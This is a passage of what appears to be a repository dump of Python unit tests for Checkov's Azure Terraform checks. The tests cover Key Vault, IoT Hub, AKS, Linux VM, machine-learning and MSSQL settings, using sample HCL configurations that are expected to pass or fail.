max_chunk_size_in_bytes    = 10485760\n                container_name             = azurerm_storage_container.example.name\n                encoding                   = \"Avro\"\n                file_name_format           = \"{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}\"\n              }\n            \n              endpoint {\n                type              = \"AzureIotHub.EventHub\"\n                connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string\n                name              = \"export2\"\n              }\n              public_network_access_enabled = true\n              route {\n                name           = \"export\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export\"]\n                enabled        = true\n              }\n            \n              route {\n                name           = \"export2\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export2\"]\n                enabled        = true\n              }\n            \n              enrichment {\n                key            = \"tenant\"\n                value          = \"$twin.tags.Tenant\"\n                endpoint_names = [\"export\", \"export2\"]\n              }\n            \n              tags = {\n                purpose = \"testing\"\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_iothub\" \"example\" {\n              name                = \"Example-IoTHub\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n            \n              sku {\n                name     = \"S1\"\n                capacity = \"1\"\n              }\n            \n              endpoint {\n                type                       = \"AzureIotHub.StorageContainer\"\n                connection_string          = azurerm_storage_account.example.primary_blob_connection_string\n                name                       = \"export\"\n                batch_frequency_in_seconds = 60\n                max_chunk_size_in_bytes    = 10485760\n                container_name             = azurerm_storage_container.example.name\n                encoding                   = \"Avro\"\n                file_name_format           = \"{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}\"\n              }\n            \n              endpoint {\n                type              = \"AzureIotHub.EventHub\"\n                connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string\n                name              = \"export2\"\n              }\n            \n              route {\n                name           = \"export\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export\"]\n                enabled        = true\n              }\n            \n              route {\n                name           = \"export2\"\n                source         = \"DeviceMessages\"\n                condition      = \"true\"\n                endpoint_names = [\"export2\"]\n                enabled        = true\n              }\n            \n              enrichment {\n                key            = \"tenant\"\n                value          = \"$twin.tags.Tenant\"\n                endpoint_names = [\"export\", \"export2\"]\n              }\n              public_network_access_enabled = false\n              tags = {\n                purpose = \"testing\"\n              }\n            }\n            \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyBackedByHSM.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyBackedByHSM import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyBackedByHSM(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_key\" \"generated\" {\n              name         = \"generated-certificate\"\n              key_vault_id = azurerm_key_vault.example.id\n              key_type     = \"RSA\"\n              key_size     = 2048\n            \n              key_opts = [\n                \"decrypt\",\n                \"encrypt\",\n                \"sign\",\n                \"unwrapKey\",\n                \"verify\",\n                \"wrapKey\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_key\" \"generated\" {\n              name         = \"generated-certificate\"\n              key_vault_id = azurerm_key_vault.example.id\n              key_type     = \"EC-HSM\"\n              key_size     = 2048\n            \n              key_opts = [\n                \"decrypt\",\n                \"encrypt\",\n                \"sign\",\n                \"unwrapKey\",\n                \"verify\",\n                \"wrapKey\",\n              ]\n              expiration_date = \"2020-12-30T20:00:00Z\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_key\" \"generated\" {\n              name         = \"generated-certificate\"\n              key_vault_id = azurerm_key_vault.example.id\n              key_type     = \"RSA-HSM\"\n              key_size     = 2048\n\n              key_opts = [\n                \"decrypt\",\n                \"encrypt\",\n                \"sign\",\n                \"unwrapKey\",\n                \"verify\",\n                \"wrapKey\",\n              ]\n              expiration_date = \"2020-12-30T20:00:00Z\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyExpirationDate.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyExpirationDate import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyExpirationDate(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_key\" \"generated\" {\n              name         = \"generated-certificate\"\n              key_vault_id = azurerm_key_vault.example.id\n              key_type     = \"RSA\"\n              key_size     = 2048\n            \n              key_opts = [\n                \"decrypt\",\n                \"encrypt\",\n                \"sign\",\n                \"unwrapKey\",\n                \"verify\",\n                \"wrapKey\",\n              ]\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault_key\" \"generated\" {\n              name         = \"generated-certificate\"\n              key_vault_id = azurerm_key_vault.example.id\n              key_type     = \"RSA\"\n              key_size     = 2048\n            \n              key_opts = [\n                \"decrypt\",\n                \"encrypt\",\n                \"sign\",\n                \"unwrapKey\",\n                \"verify\",\n                \"wrapKey\",\n              ]\n              expiration_date = \"2020-12-30T20:00:00Z\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyVaultDisablesPublicNetworkAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.KeyVaultDisablesPublicNetworkAccess import check\n\n\nclass TestKeyVaultDisablesPublicNetworkAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_KeyVaultDisablesPublicNetworkAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_key_vault.pass1',\n            'azurerm_key_vault.pass2',\n            'azurerm_key_vault.pass3',\n            'azurerm_key_vault.pass4',\n            'azurerm_key_vault.pass5'\n        }\n        failing_resources = {\n            'azurerm_key_vault.fail1',\n            'azurerm_key_vault.fail2',\n            'azurerm_key_vault.fail3',\n            'azurerm_key_vault.fail4',\n            'azurerm_key_vault.fail5'\n\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyVaultEnablesFirewallRulesSettings.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyVaultEnablesFirewallRulesSettings import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyVaultEnablesFirewallRulesSettings(unittest.TestCase):\n\n    def test_failure_missing(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_key_vault\" \"example\" {\n                  name                        = \"examplekeyvault\"\n                  location                    = azurerm_resource_group.example.location\n                  resource_group_name         = azurerm_resource_group.example.name\n                  enabled_for_disk_encryption = true\n                  tenant_id                   = data.azurerm_client_config.current.tenant_id\n                  soft_delete_retention_days  = 7\n                  purge_protection_enabled    = false\n                \n                  sku_name = \"standard\"\n                \n                  access_policy {\n                    tenant_id = data.azurerm_client_config.current.tenant_id\n                    object_id = data.azurerm_client_config.current.object_id\n                \n                    key_permissions = [\n                      \"Get\",\n                    ]\n                    \n                    secret_permissions = [\n                      \"Get\",\n                    ]\n                \n                    storage_permissions = [\n                      \"Get\",\n                    ]\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_key_vault\" \"example\" {\n                  name                        = \"examplekeyvault\"\n                  location                    = azurerm_resource_group.example.location\n                  resource_group_name         = azurerm_resource_group.example.name\n                  enabled_for_disk_encryption = true\n                  tenant_id                   = data.azurerm_client_config.current.tenant_id\n                  soft_delete_retention_days  = 7\n                  purge_protection_enabled    = false\n                \n                  sku_name = \"standard\"\n                \n                  access_policy {\n                    tenant_id = data.azurerm_client_config.current.tenant_id\n                    object_id = data.azurerm_client_config.current.object_id\n                \n                    key_permissions = [\n                      \"Get\",\n                    ]\n                    \n                    secret_permissions = [\n                      \"Get\",\n                    ]\n                \n                    storage_permissions = [\n                      \"Get\",\n                    ]\n                  }\n                  network_acls {\n                    default_action = \"Deny\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_fail_allow(self):\n        hcl_res = hcl2.loads(\"\"\"\n                resource \"azurerm_key_vault\" \"example\" {\n                  name                        = \"examplekeyvault\"\n                  location                    = azurerm_resource_group.example.location\n                  resource_group_name         = azurerm_resource_group.example.name\n                  enabled_for_disk_encryption = true\n                  tenant_id                   = data.azurerm_client_config.current.tenant_id\n                  soft_delete_retention_days  = 7\n                  purge_protection_enabled    = false\n                \n                  sku_name = \"standard\"\n                \n                  access_policy {\n                    tenant_id = data.azurerm_client_config.current.tenant_id\n                    object_id = data.azurerm_client_config.current.object_id\n                \n                    key_permissions = [\n                      \"Get\",\n                    ]\n                \n                    secret_permissions = [\n                      \"Get\",\n                    ]\n                \n                    storage_permissions = [\n                      \"Get\",\n                    ]\n                  }\n                  network_acls {\n                    default_action = \"Allow\"\n                  }\n                }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyVaultEnablesPurgeProtection.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyVaultEnablesPurgeProtection import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyVaultEnablesPurgeProtection(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n            \n              sku_name = \"standard\"\n              \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n                \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n              purge_protection_enabled    = false\n            \n              sku_name = \"standard\"\n              \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n                \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n              purge_protection_enabled    = true\n            \n              sku_name = \"standard\"\n            \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n            \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyVaultEnablesSoftDelete.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyVaultEnablesSoftDelete import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyVaultEnablesSoftDelete(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n              purge_protection_enabled    = false\n              soft_delete_enabled = false\n              sku_name = \"standard\"\n            \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n            \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n              purge_protection_enabled    = false\n            \n              sku_name = \"standard\"\n            \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n            \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"examplekeyvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_retention_days  = 7\n              purge_protection_enabled    = false\n              soft_delete_enabled = true\n              sku_name = \"standard\"\n            \n              access_policy {\n                tenant_id = data.azurerm_client_config.current.tenant_id\n                object_id = data.azurerm_client_config.current.object_id\n            \n                key_permissions = [\n                  \"Get\",\n                ]\n            \n                secret_permissions = [\n                  \"Get\",\n                ]\n            \n                storage_permissions = [\n                  \"Get\",\n                ]\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KeyVaultRecoveryEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.KeyvaultRecoveryEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestKeyVaultRecoveryEnabled(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"testvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              sku_name = \"standard\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"testvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_enabled         = false\n              sku_name = \"standard\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"testvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              soft_delete_enabled         = true\n              purge_protection_enabled    = true\n              sku_name = \"standard\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_key_vault\" \"example\" {\n              name                        = \"testvault\"\n              location                    = azurerm_resource_group.example.location\n              resource_group_name         = azurerm_resource_group.example.name\n              enabled_for_disk_encryption = true\n              tenant_id                   = data.azurerm_client_config.current.tenant_id\n              purge_protection_enabled    = true\n              sku_name = \"standard\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_KubernetesClusterHTTPApplicationRouting.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.KubernetesClusterHTTPApplicationRouting import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKubernetesClusterHTTPApplicationRouting(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KubernetesClusterHTTPApplicationRouting\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_kubernetes_cluster.pass_false\",\n            \"azurerm_kubernetes_cluster.pass_missing\",\n        }\n\n        failing_resources = {\n            \"azurerm_kubernetes_cluster.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_LinuxVMUsesSSH.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.LinuxVMUsesSSH import check\n\n\nclass TestLinuxVMUsesSSH(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LinuxVMUsesSSH\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_linux_virtual_machine_scale_set.pass',\n            'azurerm_linux_virtual_machine.pass'\n        }\n        failing_resources = {\n            'azurerm_linux_virtual_machine_scale_set.fail',\n            'azurerm_linux_virtual_machine.fail'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MLCCLADisabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.MLCCLADisabled import check\n\n\nclass TestMLCCLADisabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MLCCLADisabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_machine_learning_compute_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_machine_learning_compute_cluster.ckv_unittest_fail',\n            'azurerm_machine_learning_compute_cluster.ckv_unittest_fail_2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MLComputeClusterMinNodes.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.MLComputeClusterMinNodes import check\n\n\nclass TestMLComputeClusterMinNodes(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MLComputeClusterMinNodes\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_machine_learning_compute_cluster.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_machine_learning_compute_cluster.ckv_unittest_fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MLPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.MLPublicAccess import check\n\n\nclass TestMLPublicAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MLPublicAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_machine_learning_workspace.ckv_unittest_pass'\n        }\n        failing_resources = {\n            'azurerm_machine_learning_workspace.ckv_unittest_fail',\n            'azurerm_machine_learning_workspace.ckv_unittest_fail_2'\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MSSQLServerAuditPolicyLogMonitor.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.MSSQLServerAuditPolicyLogMonitor import check\n\n\nclass TestMSSQLServerAuditPolicyLogMonitor(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MSSQLServerAuditPolicyLogMonitor\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_mssql_database_extended_auditing_policy.pass',\n        }\n        failing_resources = {\n            'azurerm_mssql_database_extended_auditing_policy.fail',\n            'azurerm_mssql_database_extended_auditing_policy.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_MSSQLServerMinTLSVersion.py",
